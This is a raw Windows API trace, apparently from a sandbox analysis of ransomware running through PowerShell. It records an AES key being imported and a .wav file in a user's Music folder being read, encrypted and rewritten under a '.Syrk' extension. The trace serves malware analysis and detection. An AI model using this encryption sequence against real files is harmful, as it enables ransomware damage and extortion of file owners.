Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0243.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0243.843] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.844] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0243.844] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.844] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0243.844] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0243.844] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.844] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0243.844] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.844] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0243.844] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0243.844] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.844] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0243.844] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0243.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0243.845] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.845] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0243.845] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0243.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0243.845] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.845] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0243.845] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0243.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0243.845] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.846] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0243.846] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0243.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0243.846] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.846] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0243.846] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0243.847] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0243.847] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0243.847] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0243.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0243.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0243.847] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0243.847] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0243.847] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0243.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0243.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0243.847] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0243.848] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0243.848] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0243.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0243.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0243.848] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0243.848] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0243.848] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0243.848] EtwEventActivityIdControl () returned 0x0 [0243.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0243.848] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0243.848] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0243.849] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0243.851] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0243.852] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x2478c44*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69440) returned 1 [0243.852] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.853] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.853] EtwEventActivityIdControl () returned 0x0 [0243.853] EtwEventActivityIdControl () returned 0x0 [0243.853] EtwEventActivityIdControl () returned 0x0 [0243.859] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav")) returned 0x20 [0243.861] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav")) returned 0x20 [0243.861] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.861] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", lpFilePart=0x0) returned 0x40 [0243.861] EtwEventActivityIdControl () returned 0x0 [0243.861] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.862] EtwEventActivityIdControl () returned 0x0 [0243.862] EtwEventActivityIdControl () returned 0x0 [0243.862] EtwEventActivityIdControl () returned 0x0 [0243.863] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.863] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", lpFilePart=0x0) returned 0x40 [0243.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0243.863] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0243.864] GetFileType (hFile=0x454) returned 0x1 [0243.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0243.864] GetFileType (hFile=0x454) returned 0x1 [0243.864] EtwEventActivityIdControl () returned 0x0 [0243.864] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.866] EtwEventActivityIdControl () returned 0x0 [0243.866] EtwEventActivityIdControl () returned 0x0 [0243.866] EtwEventActivityIdControl () returned 0x0 [0243.867] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0243.867] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav.Syrk", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav.Syrk", lpFilePart=0x0) returned 0x45 [0243.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0243.867] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0243.868] GetFileType (hFile=0x1d4) returned 0x1 [0243.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0243.868] GetFileType (hFile=0x1d4) returned 0x1 [0243.868] EtwEventActivityIdControl () returned 0x0 [0243.868] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x248b780 | out: pbBuffer=0x248b780) returned 1 [0243.869] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.869] CryptDuplicateKey (in: hKey=0x5c69440, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c994a0) returned 1 [0243.869] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.870] CryptSetKeyParam (hKey=0x5c994a0, dwParam=0x4, pbData=0x248caac*=0x1, dwFlags=0x0) returned 1 [0243.870] CryptSetKeyParam (hKey=0x5c994a0, dwParam=0x1, pbData=0x248ca78, dwFlags=0x0) returned 1 [0243.870] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.870] EtwEventActivityIdControl () returned 0x0 [0243.870] EtwEventActivityIdControl () returned 0x0 [0243.870] EtwEventActivityIdControl () returned 0x0 [0243.871] EtwEventActivityIdControl () returned 0x0 [0243.872] ReadFile (in: hFile=0x454, lpBuffer=0x248f6f4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x248f6f4*, lpNumberOfBytesRead=0x5a2e7d8*=0xf894, lpOverlapped=0x0) returned 1 [0243.873] CryptEncrypt (in: hKey=0x5c994a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24a370c*, pdwDataLen=0x5a2e7cc*=0xf890, dwBufLen=0xf890 | out: pbData=0x24a370c*, pdwDataLen=0x5a2e7cc*=0xf890) returned 1 [0243.874] WriteFile (in: hFile=0x1d4, lpBuffer=0x248b85c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x248b85c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0243.876] WriteFile (in: hFile=0x1d4, lpBuffer=0x24a46f8*, nNumberOfBytesToWrite=0xe8a4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24a46f8*, lpNumberOfBytesWritten=0x5a2e7b0*=0xe8a4, lpOverlapped=0x0) returned 1 [0243.877] ReadFile (in: hFile=0x454, lpBuffer=0x248f6f4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x248f6f4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0243.877] CryptEncrypt (in: hKey=0x5c994a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24b2fa8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24b2fa8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0243.877] CryptEncrypt (in: hKey=0x5c994a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24b2fc4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24b2fc4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0243.877] WriteFile (in: hFile=0x1d4, lpBuffer=0x248b85c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x248b85c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0243.878] CloseHandle (hObject=0x1d4) returned 1 [0243.880] CloseHandle (hObject=0x454) returned 1 [0243.880] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.881] EtwEventActivityIdControl () returned 0x0 [0243.881] EtwEventActivityIdControl () returned 0x0 [0243.881] EtwEventActivityIdControl () returned 0x0 [0243.887] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav")) returned 0x20 [0243.889] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.889] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", lpFilePart=0x0) returned 0x40 [0243.889] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0243.889] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0243.890] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0243.890] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0243.890] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0243.890] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0243.890] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0243.890] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0243.890] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0243.890] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0243.890] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0243.890] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0243.891] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0243.891] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0243.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0243.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0243.891] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0243.891] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0243.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0243.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0243.891] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0243.891] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0243.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0243.892] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0243.892] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav")) returned 0x20 [0243.892] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.892] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", lpFilePart=0x0) returned 0x40 [0243.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", lpFilePart=0x0) returned 0x40 [0243.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0243.895] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.895] 